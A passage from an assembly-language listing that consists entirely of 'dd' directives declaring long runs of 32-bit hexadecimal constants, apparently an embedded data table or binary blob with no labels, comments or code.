4A5D7470h, 88100ABDh, 0BBE02C74h, 4D3BCCACh, 705E01FAh dd 0BEF92D6Dh, 5EC7AE78h, 5AEDB9B6h, 7A797E94h, 23C50B86h dd 0C8566874h, 0C2259B43h, 0CC29EFD1h, 49F1BDE9h, 4AC2424Fh dd 0E315668Dh, 0BFE64137h, 94A0D839h, 50B1F6BBh, 0F414CC16h dd 0DB16FE2h, 4216E5Ch, 0C05A7CB3h, 0C61D76A1h, 0F20F8C57h dd 1CA20790h, 94218C4Dh, 58F8332Bh, 0EB081169h, 853181A6h dd 0BAE243E3h, 533361A7h, 2238232h, 0D1A0D5EAh, 1023438Ch dd 900B560Bh, 0A947264Ch, 786BF734h, 887EADD2h, 909E0156h dd 0B5D05D37h, 0CB26DC70h, 96C83892h, 2DD9A341h, 4F44F7B6h dd 4A14F41Dh, 0D2376D4Fh, 9D39399h, 0C885F057h, 32086190h dd 16F86233h, 5C7FFED6h, 0C8C42897h, 0F7513611h, 0A89D8DD0h dd 1FE46993h, 93349B22h, 0B40430DBh, 0CABE5E0Eh, 0E48C855Bh dd 63AFD63Ch, 77BEBCCDh, 0C582F789h, 0A03C4004h, 0BC94271Bh dd 5EC04D04h, 0AA544127h, 7D2AF67Eh, 0BDA4D49Ah, 609E3D64h dd 0E99C54FCh, 438DD419h, 222B6F83h, 0E5EA6090h, 0B9619715h dd 8290CCFCh, 5CAD24B1h, 0CB8B72F3h, 8CA712A2h, 91A9885Dh dd 0A17051B3h, 0D5338696h, 0C0C1721Ch, 0DFAB6F50h, 2AA6A1B2h dd 6DF7D17Bh, 17CC9723h, 0D0C6CE2Bh, 0DA9C4E4Dh, 22F53DF6h dd 28A85EA8h, 35EC2FE8h, 3A87BD7Ch, 0BFC54D07h, 826FC206h dd 5F796E63h, 0CFCE012Eh, 8D083610h, 0CC61028Dh, 6B6E4E78h dd 70D1F6B5h, 0C74F621h, 0DC94AC13h, 0D96FBBE9h, 0EF495E62h dd 9F3717D1h, 53407846h, 650F742h, 11F1301Dh, 9C3B7E6Dh dd 75D1F338h, 331431BCh, 0F84DF5B5h, 82C7011h, 7CEAEF95h dd 116381F5h, 0F657C5ADh, 13A0684Dh, 9537AAFBh, 0A67B8E46h dd 48428E85h, 0F347FF94h, 1C8456BCh, 6C1A10F5h, 0A981FE0Eh dd 8D910F72h, 0AE5B463h, 54FFF450h, 0BE189E84h, 878E0E78h dd 0B9E77685h, 43CEB469h, 97C020E3h, 0DED49A1Ch, 66EC5914h dd 0E261D2C9h, 0EE838EFh, 22A5DE4Dh, 0C091707h, 23D7B09Dh dd 44842864h, 31CE413h, 0BBAAEEBDh, 55B8B3ABh, 0A0229Ch dd 0DE1A5AE7h, 136E8F38h, 2A4DB0D3h, 0B06EC42Dh, 279EA488h dd 0B92EDCC6h, 3E837DB4h, 0C992BC75h, 74025FDEh, 0B2E0487Fh dd 9A972413h, 0D1DC850h, 4A0821DCh, 0C0C483D3h, 9A317862h dd 48E31B26h, 60222332h, 0A4D5ED82h, 0A67BACD7h, 0A5B72D6Ah dd 30B0B404h, 0D6DC5ACEh, 4FB8D8B6h, 3A00EF12h, 8B821B21h dd 6CAB4D04h, 8CF58374h, 4E601FCEh, 0AFA9B069h, 0DFD98295h dd 0E500E6BEh, 0EF48E164h, 2E085D35h, 5F11CC9Dh, 0F4C8CE93h dd 0DE67B79Dh, 0A887E6E2h, 9F57BC84h, 464F34A9h, 9DB82DE1h dd 0D39AE8E5h, 0F4EB5398h, 3F1F3301h, 0C358732Dh, 0F35E50A9h dd 5905DEB2h, 6E7D2644h, 0F2D70243h, 1A0ABB6h, 2109B0C8h dd 902BAD1Ah, 340BA09Ah, 0D0D9F252h, 57F96DEDh, 44A4668Ah dd 0C9DA349h, 6F6C998Dh, 0AD50AC25h, 38ADD0EEh, 7EFA3363h dd 0A671D12Dh, 84545D77h, 436BF3CDh, 9754A319h, 0DDA05877h dd 4EDD04AAh, 51BF0D14h, 17BA93F9h, 0AE158D1Ch, 8BB3772Fh dd 671E387Fh, 66548998h, 3339EDE6h, 66E52ABAh, 0DA0C9BF5h dd 2F2A38CBh, 0AF579515h, 8D3C0CA1h, 8274F329h, 6624F46Eh dd 0AB25342h, 0EFC1ED76h, 3CF92466h, 89E1A7B5h, 515A9B51h dd 1C5E976Ch, 78F55802h, 0AEEF506Bh, 3D1AE1DEh, 0D4977B8Ah dd 40BFF395h, 0EC4B9495h, 0D71CF77Dh, 0AFBF65ECh, 958ACF94h dd 0B2D86357h, 9F36BEE4h, 7C065894h, 3D38AC65h, 9F7373Dh dd 77201555h, 2278D361h, 590B62C6h, 5E8FC973h, 0E7FA944Dh dd 0F6CEF8D9h, 0EB1F5FD3h, 73DA961Ch, 0A3E75379h, 0E355514Ah dd 0DF6F42Ch, 29750502h, 777A66F0h, 0AE5768E1h, 98DE0636h dd 471E80F9h, 81F50B6Ch, 0F0CEEA56h, 0AB5CFE2Eh, 7C640125h dd 5D45EC72h, 4E3D7C0Eh, 0DC7844C7h, 0E58C79C0h, 0B76BD326h dd 453C26Fh, 0EF1207A3h, 77780BECh, 0A51CAFE9h, 0AA1EE08Ch dd 0F4848FFCh, 4ABF05DAh, 6085DFCDh, 29926FE0h, 0C61F84B7h dd 147CB417h, 6DFCCFFDh, 90F593DAh, 5EB75FFAh, 4F55494Ch dd 7F95139Bh, 4DAE3264h, 0D55C83B7h, 0BE684E0h, 5ECEEB80h dd 591F8737h, 0B974C071h, 1D57C6D4h, 44DCB29Eh, 0BADEFE52h dd 0BABC1C6Eh, 0E4E77C5Bh, 663C0CF5h, 863438E6h, 0A0AF35C7h dd 0B4B67199h, 7AF45B9Dh, 0CB14424Ah, 3459BBAEh, 0CDD8CD56h dd 10D575BEh, 7AA88389h, 0A11EDBB9h, 0D0C56F10h, 0B61785B1h dd 0A102E40Dh, 9915142Bh, 0E95F5D1h, 9214C2FAh, 3625019Ah dd 587AE816h, 75823ABCh, 0D3D061Bh, 17310D77h, 0F3C0B60h dd 0C5545D71h, 3BF92E9Fh, 0B1451F6Fh, 0F784EB95h, 34C6F7Bh dd 46118CFAh, 8E3977F3h, 0F0C7F344h, 5F6A885Eh, 0F2CC1F74h dd 9BEE4EE7h, 0E2E6CC17h, 0CC22ECF1h, 8B939111h, 0FF673694h dd 0ECE0C44Fh, 36635E41h, 82EFB5B9h, 33C1E167h, 61DBCCADh dd 2E3B105Ah, 25BAA637h, 32B60C5Bh, 0A79276BDh, 82B1650Fh dd 9BE3FC5Fh, 0B1716788h, 0F050712Fh, 16551D00h, 0CDD1063Eh dd 1E8C0029h, 8E6284A3h, 9D111BDBh, 0A3697B08h, 1CE46BDDh dd 0EA12BB5Bh, 98A66CC1h, 27809780h, 60724C91h, 0AF800F03h dd 0D97BCC98h, 0CE2E1F61h dd 94104823h, 0CE08B21h, 0F4A999F1h, 0C33ADDE0h, 0C52F817Ch dd 4D9AF84Fh, 4CA69E78h, 15C45F8Eh, 9E6C50F3h, 3109DB09h dd 338F04A5h, 0D951A0CCh, 0CC0389Ah, 516181A9h, 98E33563h dd 4E9BB7B5h, 387BCBE1h, 4836FFECh, 0D4BDBA65h, 864F9DD0h dd 0EEC166DDh, 0EB6A39C0h, 0AF5DBAFDh, 3E4037B7h, 27666D19h dd 1A28006Ah, 14847B42h, 67A9AE04h, 0C55F9782h, 649F7C7Eh dd 90AAB5F6h, 0D011363Bh, 0B35E64F1h, 0F27F833Eh, 0FF1A59C2h dd 4EE04421h, 86D6A5D9h, 3EEFC9DCh, 6065E1DBh, 9FFAB350h dd 48285103h, 0A72A3E6Dh, 2395EB9Bh, 0BEC5BAFAh, 0E4447ADh dd 813EB69h, 0C9F40A0Ah, 317FE896h, 23CD193Dh, 78B89E72h dd 4524B8FBh, 0B5FA0768h, 0BE8F77E0h, 0BF3FEDF3h, 0C8A94F1h dd 0A379F21Ah, 0D44D573Bh, 6F46EC42h, 6386D9CEh, 0D2EB7AFDh dd 769E1D10h, 0BF54591Eh, 862FD7C2h, 9AD5B6D8h, 0F89CB85Ch dd 62DCCAFDh, 0A3D6ABD8h, 5870A5DBh, 50D00EB7h, 326AFA27h dd 5A966BBDh, 883CE77Ah, 0F25FB211h, 74C1FA8Ah, 0C65AEEFFh dd 0A39D3620h, 7DF4A3EBh, 6C1B816Fh, 4A80C033h, 0A6FD5D08h dd 42B1F0F6h, 0CEC96EB8h, 0A1B1950Eh, 0F08271F4h, 527B1F39h dd 9CE13493h, 9AD2C25Fh, 7501D348h, 11382EBDh, 9BFF486Ah dd 1E111359h, 9C4FF0ACh, 77E918DBh, 0BFBF3383h, 0C0C52D09h dd 42487974h, 0D121E571h, 0A91D6434h, 0F62D9252h, 46F86451h dd 42E7F61Ah, 0BDE04668h, 6860CC9Ch, 364242C4h, 6D2FDCB8h dd 2868D7E2h, 0D0CEA815h, 609B5B92h, 0F243C9B8h, 0C097C573h dd 5994A1C4h, 0D7371DDEh, 7EAAE8Eh, 0F5199BDEh, 6EA6FAC0h dd 86E6722Fh, 1C3DB3BDh, 74D17606h, 8D96480Ah, 1BFEFC28h dd 79EA6F42h, 0A5CA2CCFh, 56045C37h, 6846E54Eh, 4EC56A8Eh dd 0A1346582h, 9C9685E2h, 0F9AE4298h, 0C5DE3B92h, 5EE8DA10h dd 11BC925Eh, 9BB73244h, 4C668186h, 52132C04h, 0DF21D33Fh dd 160C76AFh, 96BE887Dh, 28CF631Eh, 16C00D05h, 0A0C776BDh dd 1DEB4E19h, 0FB4918B2h, 0E7F65C6Ah, 0F284DDC3h, 0F83A3754h dd 29A27F50h, 0AAE54D1Ah, 5E0D33AFh, 829FAFF8h, 7F7B2AA8h dd 35ACE5E3h, 3532737Bh, 5E90EB5Bh, 0AFABFDF3h, 52278FCEh dd 591D71FCh, 0C340F522h, 0DCC6941Ah, 8275DB34h, 0D1E75213h dd 24D84FF3h, 0D54128B1h, 0E78E6A8Eh, 0DF4AD0AFh, 7288D19Fh dd 84D3301Eh, 0B4A9AA1h, 34885B0h, 82ABA6AAh, 0BA547B2h dd 621130E4h, 0B1A54D8Ch, 3089C193h, 0E53F35B9h, 326679A9h dd 211E329Fh, 0E542BC6Fh, 783D1D77h, 0E26EC8D1h, 7D5C4444h dd 65B74F43h, 0F51A9058h, 0D84589AFh, 0FDA1EF9h, 52A73015h dd 0E155B114h, 7F337EFh, 9DCA4008h, 17289E50h, 0D4E18642h dd 9E4C48F0h, 170D1CB2h, 958FB0BCh, 0A3F90FCEh, 0A902EF69h dd 0E98D1B5Dh, 42DA8BF9h, 9197DBE7h, 7042998Ch, 0DC5BF80Eh dd 0AF35B5EDh, 0A871C60Eh, 0FF775419h, 0E33BBB5Bh, 9727D470h dd 0A9BD8384h, 0A8E9EB2Bh, 0F860E886h, 0F9A4CA34h, 9E5B2D60h dd 0FAE2A83Ah, 0B2AB8170h, 0D2E87233h, 0AB379D28h, 331BEE1Dh dd 64443731h, 0D93D00E7h, 0ADDD5EF9h, 0D70D8BCh, 7D8C9B4Dh dd 0E2CA4A45h, 733214C7h, 1E48BCE5h, 0D66B6BF4h, 0EDB758C0h dd 37C4C604h, 52E29997h, 475FC36Eh, 0A0098085h, 1774D5DEh dd 0C066478Bh, 5604AA90h, 52F21107h, 60633E0h, 84A05B13h dd 0E9AC86EDh, 15A89709h, 0ACFBA5F8h, 7D50E0F4h, 0A37C8E28h dd 6A901608h, 72DC3B1Ch, 0D20472DBh, 1BF28AC7h, 1618EADCh dd 0B05E33BEh, 0C7434E0Eh, 4BADD8EDh, 0C428632Bh, 2DE075BDh dd 2FB68E3Fh, 0CF4215DEh, 8E8F1714h, 83201E1h, 4C9ED60h dd 0A9C23FE0h, 8B77164Fh, 7F56DC03h, 16A9553Ah, 87B61DB1h dd 12811F5h, 0CF42DB2h, 42F8A893h, 0BB7F1114h, 94FC7549h dd 0DBF95948h, 3399CD6Ah, 0A5E90C85h, 66FB65D8h, 7147961Ch dd 1C8F27AEh, 0DF7EBDA3h, 94F0CEF9h, 2D4FDF6Dh, 5249FB9Ch dd 0B07CC0C1h, 0DE531736h, 355D1262h, 3D2F5D4Fh, 0BABD3B2Fh dd 0A0A04547h, 0E6D6982Fh, 0A9617544h, 3E3D9BE8h, 0D64B4849h dd 75918207h, 5ED9C89Fh, 0C9DD92FBh, 8DB09C7Ch, 0DE92C75Bh dd 6962F787h, 93D15B02h, 63DC3D18h, 0CE138324h, 25A67C1Bh dd 90B44101h, 0A631FB8Eh, 0E49C7E82h, 1666A4DEh, 7A4B4B49h dd 0B5D98CAAh, 7B9C47B6h, 0E390BAC6h, 67EFB2F7h, 0C65CA505h dd 0C83E5578h, 0AFBE1D05h, 0DD018679h, 7F73B1EDh, 0FE6C7CCFh dd 30475943h, 9BD732C4h, 0C6E9AFB7h, 6AAB4EDDh, 0FA98D2B9h dd 0E224007Bh, 60B2AC06h, 3DC1DF91h, 7FA84F3h, 8FCC6DCCh dd 0C2455C84h, 0E0C8D2B3h, 806085A0h, 0F7A65601h, 63826231h dd 0D5ECDFB1h, 208F5DA4h, 867B7819h, 0A7BAC4B7h, 8EC0C7CCh dd 0FD8E687Eh, 34024FE7h, 85EB9360h, 47A5F704h, 0F11FA4D5h dd 2A6E565Fh, 8D359235h, 7F29363Bh, 21AEC2Ch, 3A0A5685h dd 7F9DCF69h, 0BF71DFBFh, 64554C88h, 88B019E3h, 5CDA0DACh dd 29FB5FECh, 84BC666Fh, 540089ADh, 750E959Bh, 691691E8h dd 5364E109h, 0E3C41FA9h, 611593BEh, 9E16EB51h, 57B0589Bh dd 145D638h, 0EB9E3CE0h, 87660850h, 9CC95692h, 0BE0F7151h dd 19D7D2A2h, 0CB6DC7DFh, 0D4143665h, 0A6700D17h, 0DD2C00E3h dd 4D676324h, 0ADAC42E8h, 0E1CF3B39h, 90FC8679h, 0E4B0B960h dd 1373CB9Fh, 0C87FA51Bh, 8D8687A9h, 5F2460E8h, 3890731Bh dd 0B70D5F78h, 0EDA952B9h, 43CCE483h, 0B54FD699h, 0F5AB6AF8h dd 9766B6B5h, 0E7BD04C9h, 1CF0F946h, 83749E1h, 5F15308Dh dd 2B5A8989h, 0F1E6DC95h, 51CCEBDBh, 31EC0677h, 0EABE98ACh dd 525B7F24h, 0D71D571Eh, 0D4EA1CF4h, 0F5E2975Eh, 660550F4h dd 0F9E35EDCh, 0A3484FEFh, 0E94D090Dh, 0D124464Ch, 0B113EF43h dd 0DBD359E6h, 9754A0FDh, 24BEC39Eh, 86A80A2Eh, 7FF43F5h dd 0DBCDAC27h, 4FDC0A0Ah, 333FFFF9h, 0DD6C60C8h, 0B53D3A5Eh dd 2D610EBEh, 87164F33h, 750E959Bh, 691691E8h, 0C782C5F6h dd 2F3D64FBh, 484AA7h, 0AFCC105h, 2B6F83D2h, 53569031h dd 71C961Ch, 0C91E05CCh, 1566878Fh, 5C5EFD47h, 82D08EFh dd 0B98A55A9h, 3824A36Fh, 0D5B07B50h, 0CA3373DDh, 0B271C47Ah dd 8D6BDFE0h, 313DB058h, 88F41089h, 9DFF5928h, 0E3884987h dd 0BB8C3813h, 0E261CAD8h, 0A53DE42Bh, 0F267DE17h, 22D698B6h dd 9176D1B3h, 403DD5Fh, 0FA98D2B9h, 0E224007Bh, 57B4DDEFh dd 7966D524h, 70B359B6h, 65F94DB2h, 0E116D768h, 0D0BAF367h dd 46E14E5Eh, 7C598272h, 1C60A806h, 0B18C518Ah, 0BDDEBA1Ch dd 860B87ADh, 158457BCh, 1DF21ECEh, 3888B0B8h, 8F1EF946h dd 3CA98705h, 0E22E50D7h, 0D33D1DD1h, 0B9C1DBD5h, 115A9A64h dd 0AFDD9ABEh, 8DE08B4Eh, 0D8206A92h, 9549FD66h, 84A4C414h dd 0CB5733CFh, 38471398h, 8E275272h, 4296B335h, 0FDE328EBh dd 4721CF36h, 0BDE67B9Ch, 0D043770Bh, 63B0B7EFh, 4735B19Eh dd 0B88F7A1h, 30504992h, 830558ADh, 0CC86E04Ch, 467C6763h dd 2917FE97h, 329F5D75h, 54ED4B58h, 69AF1F47h, 2218E77Eh dd 0D4641644h, 0A1D98A26h, 0EA13E59Dh, 0AE04EC69h, 0DE3CA448h dd 901FB1E5h, 5ABB86Eh, 0FDDF1ECEh, 0D2D381C8h, 4780E57Ch dd 0C68D5B37h, 0FA50882Ch, 0F58A1A17h, 324CD8E8h, 0ECE243C9h dd 0A3A48904h, 1D73E88Fh, 0CC77B108h, 29397BD1h, 5ED21DCCh dd 7B61F5F1h, 0DA21EDA1h dd 0E8A57E2Ah, 19C181C7h, 6D8B474Fh, 0D87CA2E2h, 0BC7E13B4h dd 448CC302h, 4850EB21h, 0DDB437F7h, 0F3702CF1h, 826BAC9h dd 55DBA0E6h, 0BD6891F4h, 59C4DFB3h, 0EFB1D9DEh, 0D84CF7Bh dd 1ACD3D39h, 91940FD4h, 29827821h, 39D41FB0h, 0FCAF06EBh dd 64FEC07Bh, 363DA654h, 0DEA6A53Eh, 220F6324h, 0E3B17765h dd 2E92AF16h, 0AA3E3349h, 6A09EDD9h, 3E00DAF4h, 0CDC690BEh dd 34812C28h, 0BF3BA12Ch, 0BD2EC0FDh, 0BE42DC4Ch, 53F6BCFBh dd 45CD51E4h, 0BA06E46h, 0EF3B56EBh, 9EE4748Bh, 7456813Ch dd 54EE8929h, 0B73199D9h, 0E9E7734Ah, 6E143325h, 0CF7A2823h dd 5AD06273h, 63E9150Fh, 65E37D4Bh, 0D71A3265h, 0D710B873h dd 7CCC6004h, 88632EC2h, 0C934B16Bh, 6F4ED424h, 29C20412h dd 0E723A206h, 20ADFDD8h, 9EBF90B5h, 4F9F5646h, 0CE2BA9DEh dd 89DFC3FDh, 0F3D096B6h, 2F51FB8Eh, 0F4EA947Ah, 0A7994682h dd 5CF753C0h, 9FB12E2Eh, 452DF614h, 0A681E15Fh, 0E85F8F82h dd 9009A416h, 0ACDAEE23h, 0F04F0F45h, 2A99526Fh, 0EECD5FC6h dd 0E69C5152h, 30384CEDh, 62D33092h, 4B49C604h, 54A3DB94h dd 0E90327C2h, 0AB006AF3h, 0EE80BE6h, 7C1F0800h, 5FDB42D4h dd 2850AC51h, 5ACF4C4Eh, 0E7D734DDh, 0C1871449h, 0C525077Bh dd 732DAA5Eh, 1F7EED74h, 0EDB28DAEh, 0FF22B311h, 68D1D8C4h dd 0B5D44BDAh, 8B3A5E89h, 4A877A63h, 9F10916Eh, 64D57F8Ch dd 15FD519Bh, 189794DDh, 0B5511504h, 0A4D7D8D9h, 331A592Eh dd 40FA00EDh, 85B4B4A3h, 0D75147Fh, 0D429EFD7h, 717BE80Bh dd 28235F55h, 70CE45D4h, 0C20A6432h, 61872686h, 0C5C3BA09h dd 0D2DC5C1Ch, 0AA742CE4h, 0EB61546Fh, 0DE090F1Eh, 5B0A70Ah dd 29858105h, 87B90432h, 69F27925h, 578A8FEDh, 8B9DF970h dd 709366D5h, 929860B7h, 98D03F2h, 5FB9F2D6h, 33BB5F05h dd 2F750AB4h, 845A506Ah, 0A72975F5h, 52D78D59h, 10ACF313h dd 570B964Bh, 0DD2A11D5h, 24B77E02h, 22CB4D43h, 50462B4Eh dd 5ABBB76Dh, 67CB89E1h, 0F1CDCB66h, 0AFD719B3h, 0FFAB6E3Bh dd 0FBC6854Ah, 303859F1h, 6C976341h, 26D81244h, 570C36B8h dd 8B6AD2D7h, 7B579FEBh, 4DFF1D09h, 1FECF4Ah, 0D4A8316Eh dd 860E6B41h, 0E74D8C41h, 0C24DEEA4h, 0F9830317h, 2BB49384h dd 0EFA0EDC4h, 6786B8CAh, 6C8E78A3h, 43EDB0DBh, 91E1F3FDh dd 9CA3AC25h, 34961248h, 75CC4CBFh, 0B5644AAFh, 211AADADh dd 0C00F15F6h, 0A69E77FAh, 552BFA7Fh, 7819CD13h, 6797F98h dd 11E3BE48h, 6FDF4C6Dh, 0F50CD7B2h, 0DE4A233h, 93A39304h dd 0B9402D5Dh, 0FE2B4748h, 7F3557F5h, 0CC0BA518h, 54584E92h dd 0C5071D8Ch, 0BB09F0FCh, 50754690h, 0EFA4FFA6h, 30A93B7Eh dd 0A09AC11Eh, 0C7570613h, 78111233h, 0B72FCEA0h, 0E13741A3h dd 0C6051541h, 46D03704h, 64A545F5h, 6FF96C2h, 9BEE6C52h dd 0E1EC6D0Ch, 0B9D61FAEh, 90A01356h, 0B07EE6E6h, 25900448h dd 8A7F0FF5h, 0D50AF5EBh, 1CF84FD7h, 0E07F89A7h, 0DEC2A596h dd 0A2033604h, 6A0DB0EAh, 2184ABF3h, 6DB992D5h, 3D6F7CC7h dd 0FDEBD27h, 19A46B3Ah, 85EC38FEh, 0D3A49675h, 0CA98830Dh dd 2DF3006h, 0D41FBA58h, 7DADEE59h, 0CC460EDAh, 43CB4046h dd 5FE03762h, 949AA3C3h, 0BB976A48h, 0BF832458h, 0DD023A94h dd 7101FC63h, 0CD3130F8h, 0C41A6F7Eh, 7CA70F15h, 8CE48DA0h dd 0A27680EEh, 2385EC3Ah, 0E84A391Ch, 9CB3D5CEh, 0ECBB40FFh dd 0BE4F1DDAh, 28AFE3B8h, 0E48C3BC0h, 71D02AABh, 0E9BD7C73h dd 22D7ED74h, 0FB401316h, 0E3C00347h, 0EDFF9Dh, 0ECB1C7E6h dd 3FBBE44Dh, 0CA27A172h, 118DB59Eh, 0A750E13Fh, 1EB7F30Bh dd 0C303E31Fh, 38257DB6h, 2EE29BBDh, 0C7941098h, 2CB30Bh dd 0B4275Eh, 5EA502F8h, 7D721EEAh, 13C68201h, 3A8172D6h dd 0E63702D9h, 28BBF209h, 0E3B5113Bh, 0DF49B876h, 0E18ACD71h dd 9EAEA798h, 5BFAAC68h, 5460C209h, 0C28A6D4Fh, 73E052D0h dd 1CDA652Bh, 1872BD12h, 0BBB452E8h, 9E03EA3Bh, 0CE5BA485h dd 80D49F84h, 0F217BE2Dh, 402D45E8h, 5BE1598Dh, 6C46D973h dd 2F35B144h, 0FC2B2C4Bh, 342AC47Eh, 0D314D2ADh, 0C95A7ABDh dd 389AAD02h, 0D79E7C9Bh, 8F9C12AEh, 23536475h, 0C84DA906h dd 16A110D3h, 9F190354h, 2E38C2AFh, 118468EAh, 3961052Dh dd 0E65A68E1h, 3E231962h, 0CC56ACF5h, 0A99D205h, 5C327B45h dd 907A3F9Bh, 595319h, 8558635Ah, 0DBF0D67Ah, 44F8C216h dd 7E47D8DAh, 5B3F905Ah, 0FD463D2Dh, 9AD1D9FEh, 0DBA454D4h dd 6D1411BAh, 0A5EA8629h, 858E40F7h, 74160BB9h, 0F624DB39h dd 138A503h, 12C32478h, 0FAC6DD8h, 0C17AE620h, 7FD6ACEDh dd 0C72F76BBh, 82F88CACh, 686E9623h, 2C1C1662h, 7C7D9B1Ah dd 71CA9D96h, 30A20E9Fh, 249DABD6h, 0C565EA58h, 0E3AA1580h dd 0A8A5E5D6h, 6C07D55Eh, 0B0895087h, 16222676h, 9C1C5AB7h dd 0E2373F2Ah, 53B2B57Dh, 0B414271Ah, 3A61880Ah, 95F1BEFCh dd 0D5764652h, 7C05B4C1h, 0D7E799D6h, 0D728B0BEh, 0AEA4759Bh dd 5633B639h, 6DB57B05h, 19C1C46Fh, 3138A5C6h, 4FD1B015h dd 6FE3E01h, 1BF7AC85h, 489DF407h, 51E8A77Dh, 68A1EE72h dd 0F9692556h, 1E68F382h, 8D69427Ah, 583726B7h, 1D9CD10Dh dd 694C188Bh, 4D2D454Dh, 4E1E84D7h, 9224D514h, 0EEDAB0DEh dd 5A0DC70Bh, 0D5D137A7h, 14ED8CCFh, 272F9ADFh, 0E79A17E7h dd 15D70A06h, 5833ABEAh, 65A158A6h, 0C7F1B04Eh, 0F47CC7FFh dd 81B31384h, 4F4F915Ch, 7293980Bh, 3A13D5C8h, 11D4550h dd 6BC73EA3h, 0E5C419EAh, 61CC5386h, 0B38DF12Bh, 0AF134F5Dh dd 0BC302DD1h, 0BBE4EC38h, 21B17DA0h, 5978F806h, 0FDA6C839h dd 5B31F5F7h, 0C911AA25h, 95B2F93Fh, 0EE5D205Fh, 7552357Fh dd 2640B768h, 649FC633h, 31097758h, 8D62BAF5h, 773F2BF2h dd 700DE16Dh, 20D8C223h, 725583B7h, 0BA4D636Ah, 548B6C01h dd 9F2590DDh, 2FB43D3Eh, 2CFC057Ah, 0C8F71F6Ch, 0A55115DAh dd 80EED887h, 0DE66E5EEh, 0C3B976D5h, 6FFFA24Ah, 6112BC6Ah dd 3CC3539Ch, 0B72F7E4Ch, 0DCCEC7A1h, 0BBCF0906h, 0F175F2Fh dd 23A7B620h, 0FC022C5Fh, 5F9A88Ch, 2DCBD090h, 0C3ABA8EEh dd 8D5CC455h, 0C96D658h, 12E7058Dh, 7A982688h, 0BADD027Ah dd 0E3DE3946h, 6052E755h, 79458F9Ah, 0E72A8CC2h, 0C4DBAB20h dd 0B6595D63h, 0D366FD20h, 0E66FBB4Ah, 2A6454D5h, 19F9893h dd 7DA491B3h, 7A1BFF92h, 5B5D48CEh, 74868349h, 96F2E83Bh dd 0ADFEC5BEh, 0CB455F6Eh, 0C3BB7DD7h, 0D8D77E03h, 0DB0ABA56h dd 1CE0D9AFh, 3A9A4435h, 8891709Ch, 7EFCCB0Ch, 7FD4AA7h dd 0B5E8E343h, 7097286Ch, 1D7D7A3Ah, 0AAE82C3Dh, 7DDCDBD6h dd 0AA2BE0D3h, 6200135h, 34287A81h, 37953385h, 15F78D1Fh dd 17F80B7Eh, 2A158D97h, 7D82E16Eh, 0EDB6B288h, 6F1032B2h dd 0DDED1DC3h, 0E1AED745h, 0C2E84254h, 0A562739Bh, 0A0BBAED4h dd 12C0F58Bh, 26584183h, 133265BFh, 65439936h, 4675C6CCh dd 0F3849A33h, 47F666D7h, 0A8805BEDh, 500ECC15h, 70FE7BC1h dd 7DD222A0h, 75D4097h, 9107643Ch, 9390F6Ch, 0E2FBEEEBh dd 0ECC443D6h, 55DBCF15h, 0E1323A87h, 0EBB5B43Fh, 9D5E56F1h dd 0E7991E6Eh, 85FBB867h, 872516FBh, 0B4314C48h, 0AA9829A4h dd 0E20CE0DBh, 477BF2EFh, 860971A3h, 14A6ACBh, 0ED20C4CBh dd 50195D2Dh, 471009C0h dd 0D0EDE95Dh, 838D2DFCh, 0E141E37Ah, 0B515334Ch, 0CA1AE85Bh dd 0C1DB803Ah, 3BB2412h, 3E5C8FA6h, 8F59F784h, 5335C1E1h dd 56533761h, 7E623C3h, 0C5740AD5h, 0E4EA523Bh, 32E1EA40h dd 20E64BAEh, 8CFCCF6h, 0CC88272Dh, 46AC2364h, 11370427h dd 5C19C2CAh, 89E47E80h, 70C882ADh, 5899120Ah, 0B4221E2Ch dd 0EFC56307h, 0AB2E3E91h, 3A5F773Ah, 0AA3F9689h, 49247BBBh dd 6F4723A2h, 69F9DF42h, 531E1F00h, 52BD9BA8h, 43594E77h dd 0EB732062h, 0B179626Bh, 57A1711Ch, 0A184478Eh, 65855D82h dd 3E40918Dh, 0C6567931h, 62EA22E0h, 0D7280585h, 3B87DC9Eh dd 0CA4CB89Ah, 0C7F48B2Ah, 0BF7CF8C2h, 32B1F32h, 74185CB7h dd 547D7647h, 2191354Dh, 1DB8F2D6h, 70461384h, 9439B73Bh dd 55E4031Dh, 94D9181Ch, 585D444Ah, 0D5320F22h, 851CB7A8h dd 0B567F0CFh, 49CBA38Ch, 347F4902h, 3364B86Dh, 0AD6DB9EBh dd 0ACDC3DA0h, 0CC8E93BEh, 0E8BEE563h, 0B02E600Dh, 9ABBEC91h dd 122E1F85h, 0B8B5300Dh, 6B131A66h, 4BB1410h, 7D1C1A94h dd 54BC8006h, 0A1C2EE27h, 0FD0ED149h, 0CB53074Ch, 502233ECh dd 5A2C891Dh, 28205573h, 1ADC1E5Fh, 3AEF13D6h, 7606900Eh dd 0C1419228h, 4D858E1Dh, 0F4639738h, 5E90EB5Bh, 0AFABFDF3h dd 66C8DEEEh, 8F8A3BDh, 68909BA5h, 868D230Dh, 0C9C0DAEAh dd 3EF175D4h, 47A1B818h, 0F078C135h, 0CC22ECF1h, 8B939111h dd 76874D47h, 55D0D6C4h, 85AB2A8Bh, 0FD999BE2h, 0B36AA2E2h dd 6690EB81h, 6089F485h, 9DFFC02Ch, 0FFF6B607h, 99CADFADh dd 35A7E32Eh, 765042FEh, 0E85EDABEh, 972EA685h, 6BE7D186h dd 23A17B1h, 2C89AB51h, 0A753A801h, 0CDC528F9h, 30C5BD51h dd 8C7ED39Dh, 2D37A7A3h, 53D5E058h, 0FD7F1AA2h, 0D61F5515h dd 0EE0FBDD5h, 975EA421h, 0E20AA0A6h, 0C20D4AA7h, 0ADC5DB93h dd 0F9AC9C5Bh, 8F52CE1Ch, 859012Fh, 75C99B7Bh, 365FF1DEh dd 65F63811h, 0BDECD851h, 0F0446CC9h, 43AD3FCh, 6792D168h dd 695B4DDAh, 1B4DE05Eh, 0C5B95F2Eh, 0E1CD0025h, 0C4D8F635h dd 0AFD56A2Ah, 0EC89BFB1h, 3FF1BC11h, 0F35109BDh, 81D64537h dd 14ED5E4Bh, 0DFAEA226h, 0A179B452h, 1C93A335h, 269DF6BBh dd 3AC445DDh, 0C2568596h, 793CAADCh, 0A7F2C9E5h, 74CDD89Dh dd 87D33F51h, 47B0CE2Dh, 0D2BB7602h, 0DB7B00F5h, 0FC6C0D76h dd 0F58DDFB6h, 11454F90h, 0E037139Fh, 0C71A6F14h, 0A3463289h dd 794F1CCFh, 0F3D27CF6h, 17E5BBCBh, 3E8A29CAh, 35A7E32Eh dd 765042FEh, 49AFF1F6h, 0A6191079h, 26F1685Ah, 0EB66D8C9h dd 9894FF44h, 0A5BEFA31h, 7E6EAE6Fh, 6FF1F447h, 86310C15h dd 0F24FDC96h, 53D5E058h, 